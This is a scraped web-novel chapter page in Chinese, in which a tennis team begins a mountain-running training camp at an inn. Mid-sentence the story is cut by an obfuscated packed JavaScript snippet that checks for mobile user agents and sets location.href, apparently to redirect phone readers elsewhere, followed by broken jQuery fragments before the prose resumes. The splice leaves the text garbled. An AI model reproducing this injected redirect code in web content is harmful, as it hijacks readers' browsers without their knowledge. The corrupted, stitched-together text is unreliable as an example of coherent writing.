返回30.第 30 章  [运动番]世界那么大,一起前进吧!首页

关灯 护眼     字体:大 中 小

上一页 目录 下一页

   “姑姑,姑父,打扰了。”柳微微躬身,语气中带着几分亲近。

    “莲二,还有立海大的各位同学,一路辛苦了。”柳的姑姑微笑着回礼,目光温和地扫过这群少年,“我是这里的老板,这位是我的丈夫,山下浩介。接下来的日子,请多指教。”

    看见长辈行礼,立海大众人们急忙弯腰回礼:“打扰了!”

    简单的寒暄和介绍后,绘梨作为教练,迅速办理了入住手续,分配房间。男生们住在二楼的一间大通铺中,绘梨则被单独安排在一楼一间安静的房间。

    安顿好行李,稍作休整后,幸村并没有给大家太多适应的时间。下午,全员便在旅馆后方的空地上集合。

    “这里,就是未来一周,我们除了借用网球场外,最主要的基础训练场。”幸村站在空地中央,声音清晰,“条件简陋,但足够我们进行体能、力量、反应和某些特定技术的打磨。”

    合宿的首项训练,并非网球技术,而是山野跑步。

    柳莲二摊开一张手绘的简易地图,这是他提前沟通后绘制的旅馆周边地形图。地图上标注了道路,溪流。

    “大家根据这个地图,进行山野跑步。在两个小时内跑完回来就算成功。”绘梨看着众人,语气认真。“切原,你要跟紧大家,不要擅自行动!有任何不确定的情况,优先保证安全,原路返回或设法联系!”

    切原被绘梨前所未有的严厉语气说得缩了缩脖子,小声保证:“知、知道啦,学姐……我会跟紧的。”

    “那么,大家加油,现在开始吧!”扫视一圈,发现大家都把她的话放在心上后,宣告了训练的开始。

    山路崎岖,落叶湿滑,坡度时缓时急。对于习惯了平整球场和沙滩的众人来说,这完全是陌生的领域。很快,粗重的喘息声在林间回荡。

    “小心这里的青苔,很滑。”跑在前面的幸村冷静地提醒身后的众人。

    话音未落,后方就传来一声低呼。

    “哇!这树根差点绊倒我!”丸井脚下一滑,幸好被旁边的桑原及时拉住。

    “谢了,杰克!”丸井心有余悸,拍拍胸口,更加小心地看着地面。

    “跟紧,注意观察。”桑原言简意赅,黝黑的脸上也沁出了细密的汗珠。

    大约三十分钟后,队伍深入山林,抵达一处开阔的空地。

    “原地休息五分钟,补充水分。”幸村下令。

    大家纷纷拿出水壶。切原一屁股坐在地上,仰头灌水,然后长长舒了口气:“部长……这山路,比沙滩还累人啊……不过,挺有意思的!”

    桑原默默喝水,憨厚地点点头,表示同意。

    “确实是不错的综合性训练。”柳莲二已经调整好呼吸,一边补充水分,一边翻开笔记本,“复杂地形奔跑,对腿部小肌肉群,核心平衡能力以及心肺功能的负荷,均

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16844796|190165||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    超过平地或沙滩训练。”

    休息间隙,幸村走到空地边缘,指着一片坡度较陡、植被相对稀疏的山坡:“明天,这里会设置成突击爬坡训练点。”

    丸井看着那陡坡,嘴角抽了抽:“突击爬坡……听起来就很不妙。”

    仁王却摸了摸下巴,露出感兴趣的神
本章未完,请点击下一页继续阅读>>

『加入书签,方便阅读』

上一页 目录 下一页